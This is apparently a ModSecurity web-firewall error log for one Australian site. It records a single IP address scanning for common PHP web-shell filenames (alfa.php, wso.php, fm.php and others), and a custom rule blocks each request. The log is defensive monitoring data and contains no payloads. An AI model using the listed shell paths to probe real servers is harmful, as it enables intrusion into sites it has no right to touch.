[Tue Jan 13 21:40:44.340230 2026] [:error] [pid 22426:tid 22471] [client 4.241.185.221:45551] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aWZLXNy1Q5toryYTHgO9gQAAAM0"]
[Tue Jan 13 21:40:48.616351 2026] [:error] [pid 22389:tid 22412] [client 4.241.185.221:45278] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aWZLYCLIB_8b411qalJZnwAAAVU"]
[Tue Jan 13 21:40:49.437997 2026] [:error] [pid 22389:tid 22399] [client 4.241.185.221:48112] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aWZLYSLIB_8b411qalJZoQAAAUg"]
[Tue Jan 13 21:40:50.134043 2026] [:error] [pid 22389:tid 22411] [client 4.241.185.221:50201] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aWZLYiLIB_8b411qalJZogAAAVQ"]
[Tue Jan 13 21:40:51.759953 2026] [:error] [pid 49677:tid 49684] [client 4.241.185.221:50205] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aWZLY_iKiDrYd_02VZoxDQAAAEM"]
[Tue Jan 13 21:40:53.890211 2026] [:error] [pid 22389:tid 22410] [client 4.241.185.221:20509] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aespa.php"] [unique_id "aWZLZSLIB_8b411qalJZpwAAAVM"]
[Tue Jan 13 21:40:55.282261 2026] [:error] [pid 49677:tid 49704] [client 4.241.185.221:50188] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aespa.php"] [unique_id "aWZLZ_iKiDrYd_02VZoxDgAAAFc"]
[Tue Jan 13 21:40:57.988482 2026] [:error] [pid 22426:tid 22458] [client 4.241.185.221:45289] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aespa.php"] [unique_id "aWZLady1Q5toryYTHgO9hQAAAMA"]
[Tue Jan 13 21:40:59.822001 2026] [:error] [pid 48179:tid 48205] [client 4.241.185.221:13995] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aespa.php"] [unique_id "aWZLa9Qk65iAmQjH7ZSTNQAAAhg"]
[Tue Jan 13 21:41:02.604322 2026] [:error] [pid 48179:tid 48201] [client 4.241.185.221:50207] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aWZLbtQk65iAmQjH7ZSTNwAAAhQ"]
[Tue Jan 13 21:41:03.840165 2026] [:error] [pid 47987:tid 47997] [client 4.241.185.221:45526] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aWZLb3pLPQ4HpxlnLJzP_QAAAcc"]
[Tue Jan 13 21:41:04.906492 2026] [:error] [pid 48179:tid 48192] [client 4.241.185.221:47628] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aWZLcNQk65iAmQjH7ZSTOwAAAgs"]
[Tue Jan 13 21:41:05.405372 2026] [:error] [pid 47987:tid 47990] [client 4.241.185.221:49197] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aWZLcXpLPQ4HpxlnLJzP_gAAAcA"]
[Tue Jan 13 21:41:06.451597 2026] [:error] [pid 48179:tid 48182] [client 4.241.185.221:50190] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aWZLctQk65iAmQjH7ZSTQAAAAgE"]
[Tue Jan 13 21:41:08.581450 2026] [:error] [pid 22389:tid 22403] [client 4.241.185.221:13996] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aWZLdCLIB_8b411qalJZqwAAAUw"]
[Tue Jan 13 21:41:09.292803 2026] [:error] [pid 22426:tid 22463] [client 4.241.185.221:46583] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aWZLddy1Q5toryYTHgO9iAAAAMU"]
[Tue Jan 13 21:41:10.291262 2026] [:error] [pid 22485:tid 22497] [client 4.241.185.221:13988] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aWZLdhzzbghmKib9ie_8uQAAAYo"]
[Tue Jan 13 21:41:11.795611 2026] [:error] [pid 48179:tid 48199] [client 4.241.185.221:46054] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aWZLd9Qk65iAmQjH7ZSTQwAAAhI"]
[Tue Jan 13 21:41:14.185850 2026] [:error] [pid 49677:tid 49699] [client 4.241.185.221:46052] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aWZLeviKiDrYd_02VZoxGAAAAFI"]
[Tue Jan 13 21:41:15.266461 2026] [:error] [pid 48179:tid 48204] [client 4.241.185.221:49192] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aWZLe9Qk65iAmQjH7ZSTRQAAAhc"]
[Tue Jan 13 21:41:16.102024 2026] [:error] [pid 47987:tid 48011] [client 4.241.185.221:50224] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aWZLfHpLPQ4HpxlnLJzQHQAAAdU"]
[Tue Jan 13 21:41:16.915464 2026] [:error] [pid 48179:tid 48183] [client 4.241.185.221:46058] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aWZLfNQk65iAmQjH7ZSTRgAAAgI"]
[Tue Jan 13 21:41:18.082970 2026] [:error] [pid 22485:tid 22507] [client 4.241.185.221:46563] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aWZLfhzzbghmKib9ie_8vgAAAZQ"]
[Tue Jan 13 21:41:18.769520 2026] [:error] [pid 22426:tid 22479] [client 4.241.185.221:50211] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aWZLfty1Q5toryYTHgO9igAAANU"]
[Tue Jan 13 21:41:19.552058 2026] [:error] [pid 22426:tid 22462] [client 4.241.185.221:47668] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aWZLf9y1Q5toryYTHgO9jAAAAMQ"]
[Tue Jan 13 21:41:20.593091 2026] [:error] [pid 22426:tid 22459] [client 4.241.185.221:45248] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aWZLgNy1Q5toryYTHgO9jgAAAME"]
[Tue Jan 13 21:41:21.290792 2026] [:error] [pid 22426:tid 22467] [client 4.241.185.221:43406] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aWZLgdy1Q5toryYTHgO9jwAAAMk"]
[Tue Jan 13 21:41:22.372236 2026] [:error] [pid 48179:tid 48188] [client 4.241.185.221:47674] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aWZLgtQk65iAmQjH7ZSTTAAAAgc"]
[Tue Jan 13 21:41:23.819771 2026] [:error] [pid 48179:tid 48205] [client 4.241.185.221:13968] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aWZLg9Qk65iAmQjH7ZSTTgAAAhg"]
[Tue Jan 13 21:41:25.553018 2026] [:error] [pid 47987:tid 48009] [client 4.241.185.221:46021] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aWZLhXpLPQ4HpxlnLJzQRQAAAdM"]
[Tue Jan 13 21:41:26.478104 2026] [:error] [pid 33727:tid 33749] [client 4.241.185.221:46590] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aWZLhqHONsygso2w0OPx2gAAARQ"]
[Tue Jan 13 21:41:28.013911 2026] [:error] [pid 48179:tid 48181] [client 4.241.185.221:47667] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aWZLiNQk65iAmQjH7ZSTUAAAAgA"]
[Tue Jan 13 21:41:29.234827 2026] [:error] [pid 27597:tid 27610] [client 4.241.185.221:48096] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aWZLiT8Db8v8HoJ3n4ANIwAAAAs"]
[Tue Jan 13 21:41:30.447050 2026] [:error] [pid 22389:tid 22406] [client 4.241.185.221:14013] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmrlpc.php"] [unique_id "aWZLiiLIB_8b411qalJZyAAAAU8"]
[Tue Jan 13 21:41:32.221357 2026] [:error] [pid 22426:tid 22480] [client 4.241.185.221:47519] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmrlpc.php"] [unique_id "aWZLjNy1Q5toryYTHgO9kgAAANY"]
[Tue Jan 13 21:41:33.630468 2026] [:error] [pid 49677:tid 49689] [client 4.241.185.221:14001] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmrlpc.php"] [unique_id "aWZLjfiKiDrYd_02VZoxMwAAAEg"]
[Tue Jan 13 21:41:35.449410 2026] [:error] [pid 22426:tid 22473] [client 4.241.185.221:14014] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmrlpc.php"] [unique_id "aWZLj9y1Q5toryYTHgO9lQAAAM8"]
[Tue Jan 13 21:41:36.885509 2026] [:error] [pid 22426:tid 22470] [client 4.241.185.221:47463] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aWZLkNy1Q5toryYTHgO9lgAAAMw"]
[Tue Jan 13 21:42:31.932342 2026] [:error] [pid 22426:tid 22473] [client 4.241.185.221:14051] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aWZLx9y1Q5toryYTHgO9wgAAAM8"]
[Tue Jan 13 21:42:36.158616 2026] [:error] [pid 33727:tid 33741] [client 4.241.185.221:48436] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aWZLzKHONsygso2w0OPyBwAAAQw"]
[Tue Jan 13 21:42:38.010857 2026] [:error] [pid 22485:tid 22508] [client 4.241.185.221:43655] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aWZLzhzzbghmKib9ie_89AAAAZU"]
[Tue Jan 13 21:42:39.498921 2026] [:error] [pid 22426:tid 22477] [client 4.241.185.221:45131] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aWZLz9y1Q5toryYTHgO9ygAAANM"]
[Tue Jan 13 21:42:41.119715 2026] [:error] [pid 22389:tid 22403] [client 4.241.185.221:45010] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aWZL0SLIB_8b411qalJaAgAAAUw"]
[Tue Jan 13 21:42:42.771479 2026] [:error] [pid 22389:tid 22412] [client 4.241.185.221:46928] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aWZL0iLIB_8b411qalJaAwAAAVU"]
[Tue Jan 13 21:42:43.717341 2026] [:error] [pid 22485:tid 22506] [client 4.241.185.221:45123] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aWZL0xzzbghmKib9ie_8-AAAAZM"]
[Tue Jan 13 21:42:44.565539 2026] [:error] [pid 22389:tid 22411] [client 4.241.185.221:48822] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cron.php"] [unique_id "aWZL1CLIB_8b411qalJaBQAAAVQ"]
[Tue Jan 13 21:42:45.370692 2026] [:error] [pid 22426:tid 22478] [client 4.241.185.221:47918] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cron.php"] [unique_id "aWZL1dy1Q5toryYTHgO9zAAAANQ"]
[Tue Jan 13 21:42:47.257521 2026] [:error] [pid 47987:tid 48002] [client 4.241.185.221:44817] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cron.php"] [unique_id "aWZL13pLPQ4HpxlnLJzQfgAAAcw"]
[Tue Jan 13 21:42:48.513614 2026] [:error] [pid 33727:tid 33739] [client 4.241.185.221:46943] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cron.php"] [unique_id "aWZL2KHONsygso2w0OPyHQAAAQo"]
[Tue Jan 13 21:42:51.393504 2026] [:error] [pid 22389:tid 22410] [client 4.241.185.221:46693] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php"] [unique_id "aWZL2yLIB_8b411qalJaBwAAAVM"]
[Tue Jan 13 21:42:51.947486 2026] [:error] [pid 49677:tid 49686] [client 4.241.185.221:47181] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php"] [unique_id "aWZL2_iKiDrYd_02VZoxXAAAAEU"]
[Tue Jan 13 21:42:52.390499 2026] [:error] [pid 22485:tid 22490] [client 4.241.185.221:43974] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php"] [unique_id "aWZL3BzzbghmKib9ie_8-gAAAYM"]
[Tue Jan 13 21:42:54.172243 2026] [:error] [pid 22426:tid 22481] [client 4.241.185.221:44819] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php"] [unique_id "aWZL3ty1Q5toryYTHgO91AAAANc"]
[Tue Jan 13 21:42:54.832851 2026] [:error] [pid 22485:tid 22502] [client 4.241.185.221:48551] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w-1.php"] [unique_id "aWZL3hzzbghmKib9ie_8_QAAAY8"]
[Tue Jan 13 21:42:57.949885 2026] [:error] [pid 22425:tid 22444] [client 4.241.185.221:45852] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w-1.php"] [unique_id "aWZL4XLEE_SEuOZ0WBT9mgAAAI0"]
[Tue Jan 13 21:42:59.587708 2026] [:error] [pid 22426:tid 22467] [client 4.241.185.221:44862] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w-1.php"] [unique_id "aWZL49y1Q5toryYTHgO92AAAAMk"]
